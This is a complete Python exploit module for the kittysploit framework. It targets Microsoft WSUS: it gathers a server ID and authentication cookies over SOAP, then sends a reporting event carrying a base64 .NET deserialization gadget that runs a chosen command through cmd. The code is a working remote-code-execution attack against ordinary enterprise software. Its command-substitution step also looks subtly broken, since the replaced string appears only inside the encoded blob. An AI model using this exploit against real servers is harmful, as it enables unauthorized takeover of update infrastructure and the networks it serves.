CVE-2025-46652 - HawkTrace RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-


from kittysploit import *
from lib.protocols.http.http_client import Http_client
import requests
import urllib3
import xml.etree.ElementTree as ET
from datetime import datetime, timezone
import uuid
from xml.sax.saxutils import escape

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Module(Exploit, Http_client):
    __info__ = {
        'name': 'CVE-2025-46652 - HawkTrace RCE',
        'description': 'Remote Code Execution vulnerability in Microsoft Windows Server Update Services (WSUS)',
        'author': 'Batuhan Er @int20z',
        'references': [
            'CVE-2025-46652',
            'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-46652'
        ],
        'platform': Platform.WINDOWS,
        'arch': [Arch.X64, Arch.X86],
        "session_type": [SessionType.SHELL, SessionType.METERPRETER],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
    },
    }

    # Module options
    rhost = OptString('', 'Target WSUS server host (e.g., 192.168.1.100)', True)
    rport = OptPort(8530, 'Target port', False)
    payload = OptString('calc', 'Command to execute on target', False)
    timeout = OptInteger(30, 'Request timeout in seconds', False)
    ssl = OptBool(False, 'Use HTTPS instead of HTTP', False)

    def check(self):
        """Check if target is vulnerable"""
        try:
            target = self._build_target_url()
            print_info(f"Checking target: {target}")
            
            # Try to get server ID
            server_id = self._get_server_id(target)
            if server_id:
                print_success("Target appears to be vulnerable (WSUS service detected)")
                return True
            else:
                print_error("Target does not appear to be vulnerable")
                return False
                
        except Exception as e:
            print_error(f"Error during check: {e}")
            return False

    def exploit(self):
        """Execute the exploit"""
        try:
            target = self._build_target_url()
            print_info(f"Target: {target}")
            print_info(f"Payload: {self.payload}")
            
            # Step 1: Get Server ID
            print_info("[+] Getting Server ID...")
            self.server_id = self._get_server_id(target)
            if not self.server_id:
                print_error("Failed to get Server ID")
                return False
            
            # Step 2: Get Auth Cookie
            print_info("[+] Getting auth cookie...")
            self.auth_cookie = self._get_auth_cookie(target, self.server_id)
            if not self.auth_cookie:
                print_error("Failed to get auth cookie")
                return False
            
            # Step 3: Get Reporting Cookie
            print_info("[+] Getting reporting cookie...")
            self.reporting_cookie = self._get_reporting_cookie(target, self.auth_cookie)
            if not self.reporting_cookie:
                print_error("Failed to get reporting cookie")
                return False
            
            # Step 4: Send malicious event
            print_info("[+] Sending malicious event with payload...")
            success, event_id, target_sid = self._send_malicious_event(target, self.reporting_cookie)
            
            if success:
                print_success("Exploit executed successfully!")
                print_success(f"Event ID: {event_id}")
                print_success(f"Target SID: {target_sid}")
                print_warning("RCE payload should execute on target!")
                return True
            else:
                print_error("Exploit failed")
                return False
                
        except Exception as e:
            print_error(f"Error during exploit: {e}")
            return False

    def _build_target_url(self):
        """Build target URL from options"""
        protocol = "https" if self.ssl else "http"
        host = self.rhost
        port = self.rport
        
        if port in [80, 443]:
            return f"{protocol}://{host}"
        else:
            return f"{protocol}://{host}:{port}"

    def _get_server_id(self, target):
        """Get server ID from WSUS"""
        url = f"{target}/ReportingWebService/ReportingWebService.asmx"
        headers = {
            'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration"',
            'Content-Type': 'text/xml'
        }
        
        soap_body = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetRollupConfiguration xmlns="http://www.microsoft.com/SoftwareDistribution">
<cookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
</GetRollupConfiguration>
</soap:Body>
</soap:Envelope>'''
        
        try:
            response = requests.post(url, data=soap_body, headers=headers, 
                                   timeout=self.timeout, verify=False)
            
            if response.status_code == 200:
                root = ET.fromstring(response.text)
                for elem in root.iter():
                    if 'ServerId' in elem.tag and elem.text:
                        print_success(f"Server ID: {elem.text}")
                        return elem.text
        except Exception as e:
            print_error(f"Server ID error: {e}")
        
        fallback_id = str(uuid.uuid4())
        print_warning(f"Using fallback ID: {fallback_id}")
        return fallback_id

    def _get_auth_cookie(self, target, server_id=None):
        """Get authentication cookie"""
        url = f"{target}/SimpleAuthWebService/SimpleAuth.asmx"
        headers = {
            'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"',
            'Content-Type': 'text/xml'
        }
        
        if server_id is None:
            server_id = str(uuid.uuid4())
        
        soap_body = f'''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetAuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService">
<clientId>{server_id}</clientId>
<targetGroupName></targetGroupName>
<dnsName>hawktrace.local</dnsName>
</GetAuthorizationCookie>
</soap:Body>
</soap:Envelope>'''
        
        try:
            response = requests.post(url, data=soap_body, headers=headers, 
                                   timeout=self.timeout, verify=False)
            if response.status_code == 200:
                root = ET.fromstring(response.text)
                for elem in root.iter():
                    if 'CookieData' in elem.tag and elem.text:
                        print_success(f"Using ID: {server_id}")
                        return elem.text
        except Exception as e:
            print_error(f"Auth cookie error: {e}")
        return None

    def _get_reporting_cookie(self, target, auth_cookie):
        """Get reporting cookie"""
        url = f"{target}/ClientWebService/Client.asmx"
        headers = {
            'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"',
            'Content-Type': 'text/xml'
        }
        
        timenow = datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%SZ')
        
        soap_body = f'''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<authCookies>
<AuthorizationCookie>
<PlugInId>SimpleTargeting</PlugInId>
<CookieData>{auth_cookie}</CookieData>
</AuthorizationCookie>
</authCookies>
<oldCookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
<lastChange>{timenow}</lastChange>
<currentTime>{timenow}</currentTime>
<protocolVersion>1.20</protocolVersion>
</GetCookie>
</soap:Body>
</soap:Envelope>'''
        
        try:
            response = requests.post(url, data=soap_body, headers=headers, 
                                   timeout=self.timeout, verify=False)
            if response.status_code == 200:
                root = ET.fromstring(response.text)
                cookie_data = {}
                for elem in root.iter():
                    if 'Expiration' in elem.tag:
                        cookie_data['expiration'] = elem.text
                    elif 'EncryptedData' in elem.tag:
                        cookie_data['encrypted_data'] = elem.text
                if 'encrypted_data' in cookie_data:
                    return cookie_data
        except Exception as e:
            print_error(f"Reporting cookie error: {e}")
        return None

    def _send_malicious_event(self, target, cookie):
        """Send malicious event with payload"""
        url = f"{target}/ReportingWebService/ReportingWebService.asmx"
        
        target_sid = str(uuid.uuid4())
        event_instance_id = str(uuid.uuid4())
        timenow = datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%S.%f')[:-3]
        
        # Generate payload based on user input
        payload_cmd = self.payload
        popcalc = self._generate_payload(payload_cmd)
        
        soap_body = f'''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<ReportEventBatch xmlns="http://www.microsoft.com/SoftwareDistribution">
<cookie>
<Expiration>{cookie['expiration']}</Expiration>
<EncryptedData>{cookie['encrypted_data']}</EncryptedData>
</cookie>
<clientTime>{timenow}</clientTime>
<eventBatch xmlns:q1="http://www.microsoft.com/SoftwareDistribution" soapenc:arrayType="q1:ReportingEvent[1]">
<ReportingEvent>
<BasicData>
<TargetID>
<Sid>{target_sid}</Sid>
</TargetID>
<SequenceNumber>0</SequenceNumber>
<TimeAtTarget>{timenow}</TimeAtTarget>
<EventInstanceID>{event_instance_id}</EventInstanceID>
<NamespaceID>2</NamespaceID>
<EventID>389</EventID>
<SourceID>301</SourceID>
<UpdateID>
<UpdateID>00000000-0000-0000-0000-000000000000</UpdateID>
<RevisionNumber>0</RevisionNumber>
</UpdateID>
<Win32HResult>0</Win32HResult>
<AppName>LocalServer</AppName>
</BasicData>
<ExtendedData>
<MiscData soapenc:arrayType="xsd:string[2]">
<string>Administrator=SYSTEM</string>
<string>SynchronizationUpdateErrorsKey={escape(popcalc)}</string>
</MiscData>
</ExtendedData>
<PrivateData>
<ComputerDnsName></ComputerDnsName>
<UserAccountName></UserAccountName>
</PrivateData>
</ReportingEvent>
</eventBatch>
</ReportEventBatch>
</soap:Body>
</soap:Envelope>'''
        
        headers = {
            'Connection': 'Keep-Alive',
            'Content-Type': 'text/xml',
            'Accept': 'text/xml',
            'User-Agent': 'Windows-Update-Agent',
            'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"',
            'Host': target.replace('http://', '').replace('https://', '')
        }
        
        try:
            response = requests.post(url, data=soap_body, headers=headers, 
                                   timeout=self.timeout, verify=False)
            
            if response.status_code == 200 and 'true' in response.text:
                return True, event_instance_id, target_sid
            else:
                return False, None, None
        except Exception as e:
            print_error(f"Exception: {e}")
            return False, None, None

    def _generate_payload(self, command):
        if command.lower() == 'calc':
            command = '/c calc'
        elif command.lower() == 'cmd':
            command = '/c cmd'
        else:
            command = f'/c {command}'
        
        # Base64 encoded .NET deserialization payload for command execution
        payload_template = '''<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><a1:DataSet id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089"><DataSet.RemotingFormat xsi:type="a1:SerializationFormat" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089">Binary</DataSet.RemotingFormat><DataSet.DataSetName id="ref-3"></DataSet.DataSetName><DataSet.Namespace href="#ref-3"/><DataSet.Prefix href="#ref-3"/><DataSet.CaseSensitive>false</DataSet.CaseSensitive><DataSet.LocaleLCID>1033</DataSet.LocaleLCID><DataSet.EnforceConstraints>false</DataSet.EnforceConstraints><DataSet.ExtendedProperties xsi:type="xsd:anyType" xsi:null="1"/><DataSet.Tables.Count>1</DataSet.Tables.Count><DataSet.Tables_0 href="#ref-4"/></a1:DataSet><SOAP-ENC:Array id="ref-4" xsi:type="SOAP-ENC:base64">AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==</SOAP-ENC:Array></SOAP-ENV:Body></SOAP-ENV:Envelope>'''
        
        # Replace the command in the payload
        payload = payload_template.replace('/c calc', command)
        return payload

    def run(self):
        """Main execution method"""
        return self.exploit()